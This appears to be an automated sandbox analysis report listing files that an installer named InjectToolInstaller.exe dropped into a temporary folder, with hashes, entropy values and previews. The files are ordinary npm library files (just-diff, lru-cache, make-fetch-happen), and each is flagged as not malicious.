MD5:	FDC71FA90CDDC5D6499E976A92A190F4
SHA1:	71DFC77BF6A66F948A2363B5CA052F743FE1A880
SHA-256:	2D3EEF1B11E8DA9DCD695711F8FE468B7320058652196B82290C53321CECFB93
SHA-512:	6C6BC8CC2F2D2FB82CEDB223C03EA925E389536DF8C01F0B6E14FAD9D2FAF64245B95FDA9772262848ADF482123917A18821802C7E80E7F838F37ABCB973BEFE
Malicious:	false
Preview:	/*. const obj1 = {a: 4, b: 5};. const obj2 = {a: 3, b: 5};. const obj3 = {a: 4, c: 5};.. diff(obj1, obj2);. [. { "op": "replace", "path": ['a'], "value": 3 }. ].. diff(obj2, obj3);. [. { "op": "remove", "path": ['b'] },. { "op": "replace", "path": ['a'], "value": 4 }. { "op": "add", "path": ['c'], "value": 5 }. ].. // using converter to generate jsPatch standard paths. // see http://jsonpatch.com. import {diff, jsonPatchPathConverter} from 'just-diff'. diff(obj1, obj2, jsonPatchPathConverter);. [. { "op": "replace", "path": '/a', "value": 3 }. ].. diff(obj2, obj3, jsonPatchPathConverter);. [. { "op": "remove", "path": '/b' },. { "op": "replace", "path": '/a', "value": 4 }. { "op": "add", "path": '/c', "value": 5 }. ].. // arrays. const obj4 = {a: 4, b: [1, 2, 3]};. const obj5 = {a: 3, b: [1, 2, 4]};. const obj6 = {a: 3, b: [1, 2, 4, 5]};.. diff(obj4, obj5);. [. { "op": "replace", "path": ['a'], "value": 3 }. { "op": "replace", "path

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	4.594794837300674
Encrypted:	false
SSDEEP:	12:l15knKKLN/h6RNGeoDwIjTcKP661GsVgfh5InOOxg+U8AaUtPL:l15kKKJ/hgoeZIjwvBh808A5tj
MD5:	FF6D2F8644355E80B09E87918CF4B091
SHA1:	396A274E87B3AD6A3704A76CF18FBB2A9DD45ADA
SHA-256:	1DF75D52A92778B327EC79137008038E49FCBB35F1B6518F6FFBEBA86D797A3B
SHA-512:	22B85204D862A4E9CDAD98E8F59B4DE43FA8B866478E770BEA4E1E9092B70B28C38E183BBC39EE8A965A96D7CC4EC4D79CC99551A1F9F72CEA8415FC4DAF3F16
Malicious:	false
Preview:	{. "name": "just-diff",. "version": "6.0.2",. "description": "Return an object representing the diffs between two objects. Supports jsonPatch protocol",. "type": "module",. "exports": {. ".": {. "types": "./index.d.ts",. "require": "./index.cjs",. "import": "./index.mjs". },. "./package.json": "./package.json". },. "main": "index.cjs",. "types": "index.d.ts",. "scripts": {. "test": "echo \"Error: no test specified\" && exit 1",. "build": "rollup -c". },. "repository": "https://github.com/angus-c/just",. "keywords": [. "object",. "diff",. "jsonPatch",. "no-dependencies",. "just". ],. "author": "Angus Croll",. "license": "MIT",. "bugs": {. "url": "https://github.com/angus-c/just/issues". }.}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff\rollup.config.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	4.668029761840334
Encrypted:	false
SSDEEP:	3:/AERS6PCiFTPDDdRA6PCYQKzBbGHS6PCoqMEIwv:/hRo4Dd4YQKzBCHoaERv
MD5:	034A283586FC4A45C64E2BA2BFD5F2E6
SHA1:	46F0E8BF5B85350C5176F2F990FEA1CDBD8E4348
SHA-256:	1852412BFDB6E4BC898B8C0E323A4FF5C7EA3C16BB74F946E5FE0691F9A59F48
SHA-512:	0EE47C7770E51819B5BF83DE8E3F68DF0C9F09B91B08644ADC0E8AFC2A4B3635DBD71F915385706609D197CF9A7220FAE784C225A8A7DEE861F67C4E92C8A14E
Malicious:	false
Preview:	const createRollupConfig = require('../../config/createRollupConfig');..module.exports = createRollupConfig(__dirname);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	775
Entropy (8bit):	5.054477382320076
Encrypted:	false
SSDEEP:	12:9FMiZ7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:91ZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	28B53F8938BB3CF7C37ED8AC5E7D233E
SHA1:	33549C74C7488E39D6403D540471B6218295D1C7
SHA-256:	451EC07EEB9C4E1B86DE9ABDAA426462A8BE48F887EC7421CF0BBB9C769555AB
SHA-512:	425D58B2E1CAD367F67792E2EED0CF203A0CECED1BBA2AE0FEB23F3C322FF8535EAE35CA4F6772389CDAC4891B32B7F772161C1336F9151590B178404B46D2A9
Malicious:	false
Preview:	The ISC License..Copyright (c) 2010-2023 Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\dist\cjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text, with very long lines (348)
Category:	dropped
Size (bytes):	49524
Entropy (8bit):	4.222202624851877
Encrypted:	false
SSDEEP:	768:+A8ciF2hp8gZ84CNr3R3SE2ELEcWxf8/ncgI1XO8buDKEg9eBN:+ACEU3
MD5:	C04BC0134C8F78B37FAFF02F14F57B89
SHA1:	E0D511838CE8907C5FC9F1181754CB2BFBE2969E
SHA-256:	40A361EE449C9465F72106EC898B8F9F36262E1FA0A85BA453225FB8E0912205
SHA-512:	D3A307D65FA86537634F7B392B10F4BA819687F699BDE17A53F9BEE65560A145DAAAAB29AC2C6474238A3AF50E907E63A9949590E9CFFA0CE89A524E3C877A20
Malicious:	false
Preview:	"use strict";./*. @module LRUCache. /.Object.defineProperty(exports, "__esModule", { value: true });.exports.LRUCache = void 0;.const perf = typeof performance === 'object' &&. performance &&. typeof performance.now === 'function'. ? performance. : Date;.const warned = new Set();./ c8 ignore start /.const PROCESS = (typeof process === 'object' && !!process ? process : {});./ c8 ignore start /.const emitWarning = (msg, type, code, fn) => {. typeof PROCESS.emitWarning === 'function'. ? PROCESS.emitWarning(msg, type, code, fn). : console.error(`[${code}] ${type}: ${msg}`);.};.let AC = globalThis.AbortController;.let AS = globalThis.AbortSignal;./ c8 ignore start */.if (typeof AC === 'undefined') {. //@ts-ignore. AS = class AbortSignal {. onabort;. _onabort = [];. reason;. aborted = false;. addEventListener(_, fn) {. this._onabort.push(fn);. }. };. //@ts-ignore. AC = class AbortControl

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\dist\cjs\index.min.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (16101)
Category:	dropped
Size (bytes):	16140
Entropy (8bit):	5.226407611102327
Encrypted:	false
SSDEEP:	384:UuGtQzWShlr7WlRsHhOpEJsppRG9xXSbp9MzBlp:rzWSzralmc709xXaszBlp
MD5:	924D4B9FEC287B3E3D7481B71E095716
SHA1:	3A19D77787E0ED1762835A26C9DEAD5FA585C42A
SHA-256:	A6705394E7FEEC16D609AAFB7B17A13CC2B94D3049259ADA1A316DB6ABB02BA0
SHA-512:	0CA43FD605EB0676EC37CB9AB584ED62FDA999DA8043C22E129BCA78479E7F1548BF581ECBE4F9A0E240AB56145C9FA9C4EFE075EEF97F44370BA48026B42AD5
Malicious:	false
Preview:	"use strict";var x=(o,t,e)=>{if(!t.has(o))throw TypeError("Cannot "+e)};var j=(o,t,e)=>(x(o,t,"read from private field"),e?e.call(o):t.get(o)),I=(o,t,e)=>{if(t.has(o))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(o):t.set(o,e)},D=(o,t,e,i)=>(x(o,t,"write to private field"),i?i.call(o,e):t.set(o,e),e);Object.defineProperty(exports,"__esModule",{value:!0});exports.LRUCache=void 0;var v=typeof performance=="object"&&performance&&typeof performance.now=="function"?performance:Date,N=new Set,L=typeof process=="object"&&process?process:{},P=(o,t,e,i)=>{typeof L.emitWarning=="function"?L.emitWarning(o,t,e,i):console.error(`[${e}] ${t}: ${o}`)},W=globalThis.AbortController,M=globalThis.AbortSignal;if(typeof W>"u"){M=class{onabort;_onabort=[];reason;aborted=!1;addEventListener(i,s){this._onabort.push(s)}},W=class{constructor(){t()}signal=new M;abort(i){if(!this.signal.aborted){this.signal.reason=i,this.signal.aborted=!0;for(let s of this.signal.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\dist\cjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.783465189601646
Encrypted:	false
SSDEEP:	3:f8fkEKLSYv:fUKLSC
MD5:	DF9FFC6AA3F78A5491736D441C4258A8
SHA1:	9D0D83AE5D399D96B36D228E614A575FC209D488
SHA-256:	8005A3491DB7D92F36AC66369861589F9C47123D3A7C71E643FC2C06168CD45A
SHA-512:	6C58939DA58F9B716293A8328F7A3649B6E242BF235FAE00055A0CC79FB2788E4A99DFAA422E0CFADBE84E0D5E33B836F68627E6A409654877EDC443B94D04C4
Malicious:	false
Preview:	{. "type": "commonjs".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\dist\mjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text, with very long lines (348)
Category:	dropped
Size (bytes):	49398
Entropy (8bit):	4.217441440658494
Encrypted:	false
SSDEEP:	768:gA8giF2hp8gZ84CNr3R3SE2ELEcWxf8/ncgI1XO8buDKEg9eBg:gAwEUu
MD5:	B65D65B32BD941CA287BFB6D6849FB4F
SHA1:	6445D781011E2C5599695DA4DA78234F343CD9CF
SHA-256:	B9F48688865BCED458FD81C52BFADF5DD31C2DCB779F293D9D46027418D1C329
SHA-512:	34BD06100BB5BD7689B710EFA5990C43D8A92F479DE747D04D59318E3E90924AFAD8128107DF8ADF6CB745A85BD7D2DDD76292F94B9E20B97A94FC68215BCD1F
Malicious:	false
Preview:	/*. @module LRUCache. /.const perf = typeof performance === 'object' &&. performance &&. typeof performance.now === 'function'. ? performance. : Date;.const warned = new Set();./ c8 ignore start /.const PROCESS = (typeof process === 'object' && !!process ? process : {});./ c8 ignore start /.const emitWarning = (msg, type, code, fn) => {. typeof PROCESS.emitWarning === 'function'. ? PROCESS.emitWarning(msg, type, code, fn). : console.error(`[${code}] ${type}: ${msg}`);.};.let AC = globalThis.AbortController;.let AS = globalThis.AbortSignal;./ c8 ignore start */.if (typeof AC === 'undefined') {. //@ts-ignore. AS = class AbortSignal {. onabort;. _onabort = [];. reason;. aborted = false;. addEventListener(_, fn) {. this._onabort.push(fn);. }. };. //@ts-ignore. AC = class AbortController {. constructor() {. warnACPolyfill();. }. signal = new AS();.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\dist\mjs\index.min.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (16012)
Category:	dropped
Size (bytes):	16051
Entropy (8bit):	5.224260686294976
Encrypted:	false
SSDEEP:	384:CuGaXzW7fXNrWlRsHhl/OsEpRG9xqjbp9MzBli:bzW7vNKlmo09xqXszBli
MD5:	38188F65598611E00E63661BB3CC1851
SHA1:	1E943161B5B1F53CB522A6E3437BF950A7946544
SHA-256:	3E9121ECCB24F8B90F9204E8BC025F99F5256A3CE887773B6CDD2B4FAAC218F5
SHA-512:	3111B7308CFF720B52D624F5CE09583AF3A957C87ABDE1721169F3BFB4BD3748E9DC9D964188DA58A0F2ECCC8D01F02B2327B782C4F0750D149F9EC3B4BA4DEA
Malicious:	false
Preview:	var U=(o,t,e)=>{if(!t.has(o))throw TypeError("Cannot "+e)};var I=(o,t,e)=>(U(o,t,"read from private field"),e?e.call(o):t.get(o)),j=(o,t,e)=>{if(t.has(o))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(o):t.set(o,e)},D=(o,t,e,i)=>(U(o,t,"write to private field"),i?i.call(o,e):t.set(o,e),e);var v=typeof performance=="object"&&performance&&typeof performance.now=="function"?performance:Date,M=new Set,L=typeof process=="object"&&process?process:{},P=(o,t,e,i)=>{typeof L.emitWarning=="function"?L.emitWarning(o,t,e,i):console.error(`[${e}] ${t}: ${o}`)},W=globalThis.AbortController,N=globalThis.AbortSignal;if(typeof W>"u"){N=class{onabort;_onabort=[];reason;aborted=!1;addEventListener(i,s){this._onabort.push(s)}},W=class{constructor(){t()}signal=new N;abort(i){if(!this.signal.aborted){this.signal.reason=i,this.signal.aborted=!0;for(let s of this.signal._onabort)s(i);this.signal.onabort?.(i)}}};let o=L.env?.LRU_CACHE_IGNORE_AC_WARNING!=="1",t=(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\dist\mjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.675310868912364
Encrypted:	false
SSDEEP:	3:f8fqKBYn:f4Yn
MD5:	D0707362E90F00EDD12435E9D3B9D71C
SHA1:	50FAEB965B15DFC6854CB1235B06DBB5E79148D2
SHA-256:	3CA9D4AFD21425087CF31893B8F9F63C81B0B8408DB5E343CA76E5F8AA26AB9A
SHA-512:	9D323420CC63C6BEE79DCC5DB5F0F18F6B8E073DAAF8FFA5459E11F2DE59A9F5E8C178D77FA92AFC9DDD352623DEC362C62FFF859C71A2FAB93F1E2172C4987F
Malicious:	false
Preview:	{. "type": "module".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\lru-cache\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2690
Entropy (8bit):	4.630823652763881
Encrypted:	false
SSDEEP:	48:tecz9R31R2/F/94O4MExVKD80C9+UM+VYJ4vN4B8RkJ4T4gtopTmfhQAavDPmb/m:7zrKsH4D8Z9+d+KJoNu8CJi9t6TmfhbI
MD5:	E73F0034A24E2685CF7129C8FD3BD39F
SHA1:	2CC7EB1A37EF8D85416F0DE8B530B1AC06F95A21
SHA-256:	E1FC90769F98B4E6061DA640BECB81E4F75BCD09DD5E30056C9A1D0179DD4FFD
SHA-512:	E95BB4C8F3C204906D660D37F9DAE40EC7698DBECC213E1C74E3D10F0C9C6E95541D97CA567A0F58A577A552E09DF62907D62D94E5321AD4F11C906F99826ACF
Malicious:	false
Preview:	{. "name": "lru-cache",. "description": "A cache object that deletes the least-recently-used items.",. "version": "10.0.1",. "author": "Isaac Z. Schlueter <i@izs.me>",. "keywords": [. "mru",. "lru",. "cache". ],. "sideEffects": false,. "scripts": {. "build": "npm run prepare",. "preprepare": "rm -rf dist",. "prepare": "tsc -p tsconfig.json && tsc -p tsconfig-esm.json",. "postprepare": "bash fixup.sh",. "pretest": "npm run prepare",. "presnap": "npm run prepare",. "test": "c8 tap",. "snap": "c8 tap",. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags",. "format": "prettier --write .",. "typedoc": "typedoc --tsconfig tsconfig-esm.json ./src/*.ts",. "benchmark-results-typedoc": "bash scripts/benchmark-results-typedoc.sh",. "prebenchmark": "npm run prepare",. "benchmark": "make -C benchmark",. "preprofile": "npm run prepare",. "profile": "make -C benchmark profile

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	5.041148808279788
Encrypted:	false
SSDEEP:	12:1bTVnXS4dCPX6bsmgmq6KX9KsAyXJXsXHUXA3+aOPRd2AvPNRKA3khXgKCgp3ew:FTtCICjmq6s9i4eAcGPRfyhoq3ew
MD5:	333CD0E0A8599F78B656EE1DF3A44F97
SHA1:	E2586BB4FF1BAA4F38B7F82C74D6273233AE9EA5
SHA-256:	A806E21000EE60CFD64A6F1416F29C7552B4834701974E86C0156F99C0CDD806
SHA-512:	2B78EA954A591BBD9B39A09B301BFB11400033E83D1E4F10305D09D7E1E625C7863BA02C1BB81910EF3A8F2E28B0F66793DCF772F30A82AFC3150820F8612020
Malicious:	false
Preview:	ISC License..Copyright 2017-2022 (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for.any purpose with or without fee is hereby granted, provided that the.above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE COPYRIGHT HOLDER DISCLAIMS.ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE.COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR.CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS.OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE.OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\cache\entry.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16363
Entropy (8bit):	4.54072587325926
Encrypted:	false
SSDEEP:	384:T88H90YSrGsXVKtuxWn5nPZqaGZlitE3bvmjZlEVWlqspqM2hU4sZ:TLH9krGkhyZqlZliMj0qsp8u
MD5:	72389A9BA22ED5F4B5DA1AFC66D3C735
SHA1:	82979280BDB4E866D5282269B1144122E2C2ECB1
SHA-256:	409F7276C0535E1107611A1479A5A3EDFBA2F315784E138E3B1A7F8F37E40887
SHA-512:	54E19B09341CDEF71D738329C22D25D87164A32182B6C89E50C45A1AA3CBFB72D4E2C2F9608CD9B79746F57682E3F39FB89D3DACBC32057C57EB3FEE1883CDF5
Malicious:	false
Preview:	const { Request, Response } = require('minipass-fetch').const { Minipass } = require('minipass').const MinipassFlush = require('minipass-flush').const cacache = require('cacache').const url = require('url')..const CachingMinipassPipeline = require('../pipeline.js').const CachePolicy = require('./policy.js').const cacheKey = require('./key.js').const remote = require('../remote.js')..const hasOwnProperty = (obj, prop) => Object.prototype.hasOwnProperty.call(obj, prop)..// allow list for request headers that will be written to the cache index.// note: we will also store any request headers.// that are named in a response's vary header.const KEEP_REQUEST_HEADERS = [. 'accept-charset',. 'accept-encoding',. 'accept-language',. 'accept',. 'cache-control',.]..// allow list for response headers that will be written to the cache index.// note: we must not store the real response's age header, or when we load.// a cache policy based on the metadata it will think the cached response.// is al

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\cache\errors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	4.747933374376813
Encrypted:	false
SSDEEP:	6:yRaE+WJQ+6IUUl+AegOxG1LRv6oK0OuqdATBSnERYv:ya/WG+6vUs4OxG1goKRaBolv
MD5:	15243D6440C12BA337476B4F1BC68708
SHA1:	BB4105CD8D96B2F170807956329E6B00B8998105
SHA-256:	5E8A91F9E801E9EB81E00C52451C7FE4E354674CDD671713299F392DDC8FF324
SHA-512:	38CB4AA0C45134F23E1C0A59C8A69156947A4DA97CFFE74AC2D652A54737182B2DF98CFBBF8CF9D014BBEB27CEAA7365A20338AF1C3633C24D1704FFC54C5F73
Malicious:	false
Preview:	class NotCachedError extends Error {. constructor (url) {. /* eslint-disable-next-line max-len */. super(`request to ${url} failed: cache mode is 'only-if-cached' but no cached response is available.`). this.code = 'ENOTCACHED'. }.}..module.exports = {. NotCachedError,.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\cache\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1792
Entropy (8bit):	4.5396551016217765
Encrypted:	false
SSDEEP:	48:XaJeUXl30xWWVPOqiczSg6W71oJmXbgfUB1uAiPJ:XaJHXlkxWWYqic2g6mqJtcBMAiPJ
MD5:	0002410812B04D172758BA0D9F6A954A
SHA1:	E04D508CF8887EBCFD9EE8FAEB3622CAFA3DFAC1
SHA-256:	B9A47E604B9D6EC9211E5129636BA7366C408C074EA1D4B8C859CF221C347071
SHA-512:	A81F216B6FBF69D144866529D8BB4E112FBDC7682F991E99A005F16F8CCD0185EF37C721198CFBE40657BB83083548C877BEB9CD8354F15B219A71D13C359707
Malicious:	false
Preview:	const { NotCachedError } = require('./errors.js').const CacheEntry = require('./entry.js').const remote = require('../remote.js')..// do whatever is necessary to get a Response and return it.const cacheFetch = async (request, options) => {. // try to find a cached entry that satisfies this request. const entry = await CacheEntry.find(request, options). if (!entry) {. // no cached result, if the cache mode is 'only-if-cached' that's a failure. if (options.cache === 'only-if-cached') {. throw new NotCachedError(request.url). }.. // otherwise, we make a request, store it and return it. const response = await remote(request, options). const newEntry = new CacheEntry({ request, response, options }). return newEntry.store('miss'). }.. // we have a cached response that satisfies this request, however if the cache. // mode is 'no-cache' then we send the revalidation request no matter what. if (options.cache === 'no-cache') {. return entry.revalidate(request,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\cache\key.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	4.705646700434117
Encrypted:	false
SSDEEP:	12:zM/UeT+2M17CpjTGaF7hk6itF/VWQFRYkhPD93KM/BU:OTdtTHk6+F/VWQRY09dBU
MD5:	774B609F4E0825FF5DC6760A15C9FFD4
SHA1:	2A0DDC0425EAF4F86931D029801310170B60DC21
SHA-256:	AE7DA8B3FBC282391FC70DF8A625DE765062F955FC85587E575479CBE9C33ADB
SHA-512:	0AB8D2E44E475D87E20CDB13B0EA3155C997D3801E1CFE2CC8B0AD5B33CA5B216AB91118ED98E39C9FBC484413E2BB0BFC4C0960BDE054B147B0D9F564F80F78
Malicious:	false
Preview:	const { URL, format } = require('url')..// options passed to url.format() when generating a key.const formatOptions = {. auth: false,. fragment: false,. search: true,. unicode: false,.}..// returns a string to be used as the cache key for the Request.const cacheKey = (request) => {. const parsed = new URL(request.url). return `make-fetch-happen:request-cache:${format(parsed, formatOptions)}`.}..module.exports = cacheKey.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\cache\policy.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	4527
Entropy (8bit):	4.636024375417223
Encrypted:	false
SSDEEP:	96:7CMliwiAkUp2L/jFAkU/7XUuBCRNsdE6HmY+k8VZJCHutuyQ6LrYgWKW6LGICdsR:pilAkUp21AkUDXvBMNP6HmYpEJCHutu8
MD5:	774A5575A064F93358C0131E1516F2D3
SHA1:	BE4954EEBC2F3E82B2BEA8EB055B2A9DDEB04F3B
SHA-256:	2014CF549FCEB8808CBA81E8760315B9060F502B6C62B7CB79E1B024ABDE54C3
SHA-512:	08380AE15980F1860453D8CC959F9608756448C423E61903645E5505789CBD676446F343131CC3DCE0591A18AD46637C79069A904BFDA67C531B60767535FFED
Malicious:	false
Preview:	const CacheSemantics = require('http-cache-semantics').const Negotiator = require('negotiator').const ssri = require('ssri')..// options passed to http-cache-semantics constructor.const policyOptions = {. shared: false,. ignoreCargoCult: true,.}..// a fake empty response, used when only testing the.// request for storability.const emptyResponse = { status: 200, headers: {} }..// returns a plain object representation of the Request.const requestObject = (request) => {. const _obj = {. method: request.method,. url: request.url,. headers: {},. compress: request.compress,. }.. request.headers.forEach((value, key) => {. _obj.headers[key] = value. }).. return _obj.}..// returns a plain object representation of the Response.const responseObject = (response) => {. const _obj = {. status: response.status,. headers: {},. }.. response.headers.forEach((value, key) => {. _obj.headers[key] = value. }).. return _obj.}..class CachePolicy {. constructor ({ entry, re

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\fetch.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	4.89785509445456
Encrypted:	false
SSDEEP:	96:qlS1tfdqQI4cSRAjRGk4eJHpMeGEgFi/YVoFAz520vvJszyhS+J:WS1pd4XG4RGkVJH5pgFiA+FAz520Zo+J
MD5:	D81220809EFF3DA87281553259FC7EBD
SHA1:	5A0BCD13EF419A3A8C961A964CF4CD4DE6D256E7
SHA-256:	7D57BFD656A6AE2A53738FB3F25365D074D9CB7364794005BC70317FF2BF81E8
SHA-512:	652356C5546010794DB0A3A0FBA3F746428B886BE7B33A0AC7E96798C0EB0E39FD46CF121584890E04D3CF48220D50196F8E0C321C46F244B696C1503207E380
Malicious:	false
Preview:	'use strict'..const { FetchError, Request, isRedirect } = require('minipass-fetch').const url = require('url')..const CachePolicy = require('./cache/policy.js').const cache = require('./cache/index.js').const remote = require('./remote.js')..// given a Request, a Response and user options.// return true if the response is a redirect that.// can be followed. we throw errors that will result.// in the fetch being rejected if the redirect is.// possible but invalid for some reason.const canFollowRedirect = (request, response, options) => {. if (!isRedirect(response.status)) {. return false. }.. if (options.redirect === 'manual') {. return false. }.. if (options.redirect === 'error') {. throw new FetchError(`redirect mode is set to error: ${request.url}`,. 'no-redirect', { code: 'ENOREDIRECT' }). }.. if (!response.headers.has('location')) {. throw new FetchError(`redirect location header missing for: ${request.url}`,. 'no-location', { code: 'EINVALIDREDIRECT' }

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	4.678046206841763
Encrypted:	false
SSDEEP:	24:mcvIUkWWDqqVhxY3o3YCzl0ED2ZkQ5ZVsdRB5Bp0oBWKB6KzBJn:m+MWC233CgZkQrirD0ovP3
MD5:	7E3E9EBE32C88938F58CA7A9FA3ED7EE
SHA1:	72DA3FD8D65A9E200DE8672128CD0D21061C61E0
SHA-256:	C6FA07E324498F7BBD05E98892790186556BF55C6265D0C07F45900A6941A57C
SHA-512:	8E8F006929B3AF87067FEFF533B9EBE6E4BBF1B0710359F494D098F8B14B735357B06B8A44072C5D59FD368F556E5C397D9DC01E10BA1C2396D823C9F56318AF
Malicious:	false
Preview:	const { FetchError, Headers, Request, Response } = require('minipass-fetch')..const configureOptions = require('./options.js').const fetch = require('./fetch.js')..const makeFetchHappen = (url, opts) => {. const options = configureOptions(opts).. const request = new Request(url, options). return fetch(request, options).}..makeFetchHappen.defaults = (defaultUrl, defaultOptions = {}, wrappedFetch = makeFetchHappen) => {. if (typeof defaultUrl === 'object') {. defaultOptions = defaultUrl. defaultUrl = null. }.. const defaultedFetch = (url, options = {}) => {. const finalUrl = url \|\| defaultUrl. const finalOptions = {. ...defaultOptions,. ...options,. headers: {. ...defaultOptions.headers,. ...options.headers,. },. }. return wrappedFetch(finalUrl, finalOptions). }.. defaultedFetch.defaults = (defaultUrl1, defaultOptions1 = {}) =>. makeFetchHappen.defaults(defaultUrl1, defaultOptions1, defaultedFetch). return defaultedFetch.}..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\options.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1533
Entropy (8bit):	4.669410727985055
Encrypted:	false
SSDEEP:	24:TL30vQvWNvWomxWb5THguwEoNdAaui0+taCmWLzDy7x7ZUvaJVzJeWkvFZvTJgr8:TL08oZb5THbSzAhiMPgult3+gdc9Nl
MD5:	16711C8AA197848D7C071435E13B81FE
SHA1:	56535F0265E740EAD3DF79FA3641F5F6E5653EDF
SHA-256:	C367C2CE4CFFB1C43462B7B0AB1EA73B43E0E0E7B6F7517327957799243EFD35
SHA-512:	85902F7BE029184AB556561019B9EB005D4367CA7ED24E84CB783077D695E46D63C8ADFB5E07BFFE71C8047B7B396D3B0401FF1D5FA8E7865566107F7E450AD7
Malicious:	false
